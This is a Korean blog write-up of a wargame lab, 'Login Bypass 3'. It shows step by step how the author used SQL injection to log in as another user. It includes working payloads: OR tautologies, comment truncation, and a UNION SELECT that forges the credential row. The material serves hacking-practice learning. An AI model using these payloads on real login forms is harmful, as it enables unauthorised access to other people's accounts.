-
Authentication Bypass - Login Bypass 3wargame/segfault 2024. 6. 16. 19:04
목표: normaltic3으로 로그인하기.
주어진 계정 정보는 아래와 같다.
# id: doldol # password: dol1234
웹페이지 구성이 Login Bypass 1과 동일하기에 분석은 생략한다.
로그인 우회 가능성 확인
sql문이 일단 식별/인증 동시 id먼저, 괄호X, 개행X, 해쉬X, single quote사용 이라고 가정하겠다.
$sql = "SELECT id, pass from member id='___' and pass='___'"
이 경우에 로그인 우회 가능성을 확인하기 위해 id에 doldol' and '1'='1 을 입력해보겠다.
$sql = "SELECT id, pass from member id='doldol' and '1'='1' and pass='dol1234'"
위와 같이 전송했는데 로그인이 정상적으로 되었다. 따라서 single quote를 사용하며, 식별/인증 동시라면 id와pass에 각각 괄호를 씌우지 않았다는 점을 알 수 있다. 그리고 물론 로그인 우회 가능성이 존재한다는 점을 확인할 수 있다.
로그인 우회
이제 normaltic3 으로 로그인을 하기 위한 시도를 하겠다.
만약 식별/인증 동시 id먼저, 괄호X,개행X인 경우
normaltic3' or '1'='1 을 입력하면 로그인 우회가 될 것이다.
# SELECT id,pass from member WHERE id='normaltic3' or '1'='1' and pass='___'
그러나 로그인이 되지 않았다. 만약 괄호X인 경우 식별/인증 동시라면 id와 pass의 위치와 상관없이 위의 파라미터를 보내면 로그인 우회가 된다. 개행도 상관없다. 개행은 주석을 사용할 때만 영향을 미치고 or 연산자보다 and 연산자의 우선순위가 높아 항상 참이 되기 때문이다
그래서 괄호가 있을때의 케이스와 식별/인증 동시 케이스를 구분해서 로그인을 우회해보겠다.
/* 식별/인증 동시 id먼저 | 괄호id,pass각각 | 개행X | 해쉬X | '사용 SELECT id,pass from member WHERE (id='___') and (pass='___') normaltic3') or ('1'='1 삽입 SELECT id,pass from member WHERE (id='normaltic3') or ('1'='1') and (pass='___') 식별/인증 동시 id먼저 | 괄호동시에 | 개행X | 해쉬X | '사용 SELECT id,pass from member WHERE (id='___' and pass='___') normaltic3' or '1'='1 은 실패했었으니 주석을 이용해 normaltic3')# 삽입 SELECT id,pass from member WHERE (id='normaltic3')#' and pass='___') 식별/인증 동시 pass먼저 | 괄호id,pass각각 | 개행X | 해쉬X | '사용 SELECT id,pass from member WHERE (pass='___') and (id='___') normaltic3') or ('1'='1 삽입 SELECT id,pass from member WHERE (pass='___') and (id='normaltic3') or ('1'='1') 식별/인증 동시 pass먼저 | 괄호동시에 | 개행X | 해쉬X | '사용 SELECT id,pass from member WHERE (pass='___' and id='___') normaltic3' or '1'='1 은 앞에서 실패했었음. 주석은 무의미 */
다 시도해 보았는데 로그인 우회가 되지 않았다. 따라서 식별/인증 동시가 아니라 식별/인증 분리라는 결론을 얻을 수 있다.
식별/인증 분리 케이스는 다음과 같다.
/* 식별/인증 분리 | 괄호없음 | 개행X | 해쉬X | '사용 SELECT id,pass from member WHERE id='___' 식별/인증 분리 | 괄호없음 | 개행X | 해쉬O | '사용 SELECT id,pass from member WHERE id='___' 식별/인증 분리 | 괄호있음 | 개행X | 해쉬X | '사용 SELECT id,pass from member WHERE (id='___') 식별/인증 분리 | 괄호있음 | 개행X | 해쉬O | '사용 SELECT id,pass from member WHERE (id='___') */
그렇다면 일단 식별/인증 분리, 괄호X, 해쉬X라는 가정으로 진행해보겠다. 개행은 의미가 없고 single quote를 사용하는 것은 확실하기 때문에 케이스에서 제외한다.
$sql = "SELECT id,pass from member WHERE id='___'" # union을 사용해서 내 마음대로 id와 pass를 출력한다. # normaltic3' union select 'normaltic3','anything' limit 1,1 # 을 삽입한다. # 그럼 다음과 같다. $sql = "SELECT id,pass from member WHERE id='' union select 'normaltic3','anything' limit 1,1 #'"
이 결과는 union 으로 select문을 또 실행해 삽입한 두번째 row의 데이터를 limit 1,1으로 가져오게 했으므로, 만약 해쉬와 괄호를 사용하지 않았다면 정상적으로 로그인이 되어야 한다. 첫번째 row는 진짜 'normaltic3'의 데이터다. 그리고 이때 limit 1,1 가져온 데이터는 원래 select 문에서 id,pass 순으로 column이 되어 있기 때문에 union select 'normaltic3','anything' 이라고 한 것이다. 만약 반대였다면 위치도 다르게 해야한다. 그리고 이때 사용한 pass 부분의 anything을 비밀번호에 반드시 입력해줘야 인증 우회가 가능하다! (anything이 아니라 아무것이나 가능하다)
정상적으로 로그인이 된 것을 알 수 있다!
만약 가장 앞에 normaltic3를 적지 않고 비워두는 ' union select 'normaltic3','anything' # 을 사용할 때는 뒤에 limit 1,1을 적지 않아도 된다. db에서 정상적으로 데이터를 가져오지 않기 때문에 우리가 의도한 row밖에 출력되지 않기 때문이다.
flag를 획득했다!
'wargame > segfault' 카테고리의 다른 글
Authentication Bypass - Secret Login (0) 2024.06.16 Authentication Bypass - Login Bypass 5 (0) 2024.06.16 Authentication Bypass - Login Bypass 4 (0) 2024.06.16 Authentication Bypass - Login Bypass 2 (0) 2024.06.16 Authentication Bypass - Login Bypass 1 (1) 2024.06.16